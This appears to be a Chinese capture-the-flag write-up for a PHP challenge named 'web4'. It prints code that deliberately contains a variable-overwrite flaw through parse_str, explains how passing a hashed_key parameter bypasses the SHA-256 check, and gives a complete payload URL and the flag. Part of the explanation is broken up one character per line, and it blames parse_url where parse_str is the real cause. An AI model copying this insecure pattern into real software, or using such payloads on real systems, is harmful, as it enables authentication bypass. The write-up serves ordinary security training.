web4
地址:
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']); /*理解parse_url函数
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}
echo $flag; /*这里有flag,所以答案很有可能在这个语句中,因此要着重分析
}
}else{
show_source(__FILE__);
}?>
解题思路:
分析代码,
发现存在action传参,
分析 $action =
p
a
r
s
e
d
q
u
e
r
y
[
′
a
c
t
i
o
n
′
]
和
parsed_query['action']和
parsedquery[′action′]和action===“auth”
推出来 action=auth,将action=auth传入
解题关键就在于parse_url函数,存在变量覆盖漏洞
输入的key值也会传入,只不过是经过sha256加密的
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
传入一个hashed_key,将原来的密文个覆盖掉
这个参数传入的是我们传入的key经过sha256加密后的密文,如:key=1(当然key的具体值你看着给几都行)也就是说用你输入的key值经sha256加密后赋值给hashed_key传入进去,利用parse_url函数存在变量覆盖的漏洞,将原来传入的变量覆盖,从而解出答案
令key=1,使用sha256加密赋值给hashed_key:
hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
最终得出payload为:
http://39.100.83.188:8066/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
得出flag:
flag{7he_rea1_f1@g_15_4ere}